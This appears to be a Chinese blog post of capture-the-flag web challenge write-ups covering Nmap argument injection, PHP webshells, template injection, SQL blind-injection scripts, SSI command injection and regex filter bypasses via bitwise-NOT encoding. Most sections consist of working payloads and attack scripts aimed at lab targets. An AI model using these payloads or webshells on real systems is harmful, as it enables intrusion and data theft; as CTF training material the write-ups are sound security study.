题目类型:利用Nmap参数
源码提示,flag在flag里

试试127.0.0.1|cat${IFS}/flag, 被过滤
🔴利用Nmap参数
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
1.利用Nmap参数-oG
-oN/-oX/-oG:将扫描结果输出到文件,支持多种格式,如正常、XML 和 grepable 格式。
构造payload:127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '
讲一句话木马写到shell.phtml文件里(使用phtml后缀是因为php等后缀被过滤了)


2.利用nmap 的-iL参数读取flag到一个文件中,escapeshellarg和escapeshellcmd两个函数的绕过
payload:127.0.0.1' -iL /flag -o haha
经过escapeshellarg函数后
'127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
'127.0.0.1'\\'' -iL /flag -o haha\'
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了
这样就分为了三部分’127.0.0.1’和’’连接空白和-iL /flag -o haha’(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha’)
nmap既可扫描前面的ip,又能执行-iL /flag -o haha’,所以文件名变为了haha’ 直接访问即可看到flag

[NPUCTF2020]ReadlezPHP
在元素中找到:


payload:
1
| ?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
|
解释:
assert的工作机制
直接插找得到flag

🔴补充:PHP中一些函数可以实现assert类似的代码执行功能
- 直接代码执行函数
eval()
注意:eval是语言结构而非函数,不能通过变量函数调用($b($a)方式)
create_function()
1 2 3
| $func = create_function('', 'phpinfo();'); $func();
|
- 命令执行函数
system()
exec()
1 2
| exec('ls', $output); print_r($output);
|
shell_exec()
passthru()
popen()
proc_open()
1
| $process = proc_open('ls', array(), $pipes);
|
- 回调函数
call_user_func()
1 2 3
| call_user_func('phpinfo');
call_user_func('system', 'whoami');
|
call_user_func_array()
1
| call_user_func_array('system', array('whoami'));
|
array_map()
1
| array_map('system', array('whoami'));
|
array_filter() / array_walk()
1
| array_filter(array('whoami'), 'system');
|
- 文件包含函数
include / require
1
| include('data://text/plain,<?php phpinfo();?>');
|
file_get_contents() + eval
1
| eval(file_get_contents('data://text/plain,<?php phpinfo();?>'));
|
- 特殊技巧
preg_replace() 的 /e 修饰符(PHP < 5.5)
1
| preg_replace('/.*/e', 'phpinfo()', '');
|
ob_start() + 回调
1 2 3
| ob_start('system'); echo 'whoami'; ob_end_flush();
|
- 反序列化特定
unserialize() 本身
如果能够二次反序列化:’’
1 2
| $data = 'O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}'; unserialize($data);
|
[强网杯 2019]高明的黑客
题目类型:信息搜集

下载www.tar.gz文件,打开一堆php文件,
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import os import requests import re import threading import time print('开始时间: '+ time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100) filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content(file): s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8') as f: gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/'+file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1: for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() if "xxxxxx" in content: break if flag == 1: param = a else: param = b print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release()
for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
|
访问
http://url/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
得到flag

[CISCN2019 华东南赛区]Web11
题目类型:Smarty,php模板注入
上来就提示Smarty,想到php模板注入

在XFF进行模板注入
127.0.0.1|{{system(‘ls /‘)}},出目录
127.0.0.1|{{system(‘cat /flag’)}},源码出flag

[BSidesCF 2019]Kookie
提示用admin登录,利用cookie

在cookie上用户名用admin登录

[ASIS 2019]Unicorn shop
题目类型:unicode和uft-8
源码:提示注意utf-8

购买发现都报错:只允许输入一个字符,所以应该是将1337转换成一个字符

ID :4, Price :𐅎
或者:
utf-8:0xF0 0x90 0x85 0x8E,还要把0x改成%,%F0%90%85%8E也可以得到flag

🔴补充:unicode编码绕过
原型链污染中的Unicode编码绕过:
基于flask常见trick——unicode&进制编码绕过-先知社区
Flask 的 render_template_string 函数内部使用了 Jinja2 模板引擎,而 Jinja2 模板引擎可以解析和处理 Python 字符串中的八进制、十六进制、Unicode 转义等格式。
[SWPU2019]Web1
题目类型:sql注入(/**/空格绕过,'闭合)
闭合:--+,',#
随便注册登录,进入
发现过滤了命令执行,是sql注入

位置
1
| -1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
|

库名
1
| 1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
|

表名
1
| 1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
|

字段
1
| 1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
|

flag

[BSidesCF 2019]Futurella

翻译,直接复制粘贴flag{94bdb445-6945-4c11-9f9f-2df7bfa70776}
[极客大挑战 2019]FinalSQL
题目类型:sql盲注
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import requests import time
url = "http://f5ddd91e-bce9-4dd0-b8c2-59e0341dd974.node5.buuoj.cn:81/search.php?" temp = {"id": ""} flag = ""
print("开始进行SQL盲注获取flag...")
for i in range(1, 1000): time.sleep(0.06) low = 32 high = 128 mid = (low + high) while low < high: temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) r = requests.get(url, params=temp) time.sleep(0.04) if "Click" in r.text: low = mid + 1 else: high = mid mid = (low + high) if mid <= 32 or mid >= 127: break flag += chr(mid) print(f"当前进度: {flag}") if flag.endswith('}') and flag.startswith('flag'): print("检测到完整的flag格式,提前结束") break
print("\n最终flag:", flag)
|
最终flag: cl4y_is_really_amazing,welcome_to_my_blog,hstp://www.cl,y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl,y.top,wblcom_to_Syclover,cl4y_really_nded_a_grilfriend,flag{b513fca9-52e0-41a9-8cba-16f7fc56c1a3}
[CISCN 2019 初赛]Love Math
🪄题目类型:数学函数转换字符串,GET传参外部赋值,eval()函数解析执行命令,PHP动态调用函数名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php error_reporting(0);
if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } eval('echo '.$content.';'); }
|
扫目录,扫到

/.DS_Store文件

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls /

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls /
出目录

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*

详解:[BUUCTF_WEB_[CISCN 2019 初赛]Love Math 题解 - South](https://south66666666.github.io/2023/08/24/2023-08-24-Love Math/)
[极客大挑战 2019]RCE ME
题目类型:绕过preg_match()中正则表达式,蚁剑绕过disable_functions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); }
|
看到了eval(),应该是用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:
urlencode(~’phpinfo’);
payload:
1
| ?code=(~%8F%97%8F%96%91%99%90)();
|

构造payload的代码:
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST[mochu7]))'; $d=urlencode(~$c); echo $d; ?>
|
payload:
1
| ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
|

连蚁剑

连上蚁剑,发现一个flag文件(空的),一个readflag文件

这里需要绕过这个disable_functions,并执行命令。
蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF

运行得到终端,运行/readflag获得Flag:
flag{0e52c31d-44f6-4e1d-b91f-600e08846d48}
方法二:[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)-CSDN博客
[De1CTF 2019]SSRF Me
题目类型:代码审计
hint:flag is in ./flag.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=9999)
|
代码审计:首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if “scan” in self.action:执行将flag.txt中的数据写入result.txt中,继续if “read” in self.action:执行读取result.txt中的数据,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。
🔴构造payload的步骤:
- 首先需要绕过self.checkSign()
分析一下相关源码,源码分别截取,方便分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
|
需要满足self.checkSign(),
就需要getSign(self.action, self.param) == self.sign,(而sign值通过cookie传值)
就需要hashlib.md5(secert_key + param + action).hexdigest() == self.sign,
说白了也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign,即我们需要得到
secert_key + ‘flag.txtreadscan’的哈希值
1 2 3 4 5
| @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
|
但是我们不知道secret_key的值是多少,它只存在于服务端,但是我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值
注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’
payload1:
1
| /geneSign?param=flag.txtread
|
返回哈希值

将flag.txt中的数据读入result.txt,然后读取result.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error"
|
payload2:如下,注意修改cookie中参数action和参数sign的值
1 2 3
| /De1ta?param=flag.txt
Cookie:action=readscan;sign=5605cb06db359c4f5eead25d0abc8024
|

flag{332aaca5-61c2-4029-8ea3-53f8ba45d058}
[De1CTF 2019]SSRF Me之愚见 - 简书
[BJDCTF2020]EasySearch
题目类型:md5绕过+ssi注入
扫目录,发现index.php.swp文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
|
分析源代码发现password进行md5加密后前六位需要与’6d0bc1’相同
🔴脚本:
1 2 3 4 5 6
| import hashlib
for i in range(1000000000): md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest() if md5[0:6] == '6d0bc1': print(str(i)+' | '+md5)
|

url:public/e2f986317c3af967329a9b04dd7c42699d6fa8e2.shtml
访问获得

🔴补充:什么是ssi注入
SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在界面中发现了
1 2 3
| <div>{$what}</div> <p>Welcome, {{username}}</p> <div>{%$a%}</div>
|
就容易产生ssi注入,此处问题的其注入格式为:<!--#exec cmd="命令" -->。
那就在可控参数用户名处输入可执行命令,payload:<!--#exec cmd="ls.." -->,结果如下:

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

[WUSTCTF2020]颜值成绩查询
题目类型:布尔盲注
输入1,2,3,4有回显,5之后报错。输入1^1^1(异或),返回正常,说明是布尔注入
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests
url= 'http://715a64dd-0d58-4d8f-85a7-dfeb9924ef59.node5.buuoj.cn:81/'
database =""
payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1" payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" for i in range(1,10000): low = 32 high = 128 mid =(low + high) // 2 while(low < high): payload = payload4.format(i,mid)
new_url = url + payload r = requests.get(new_url) print(new_url) if "Hi admin, your score is: 100" in r.text: low = mid + 1 else: high = mid mid = (low + high) //2 if (mid == 32 or mid == 132): break database +=chr(mid) print(database)
print(database)
|
结果:
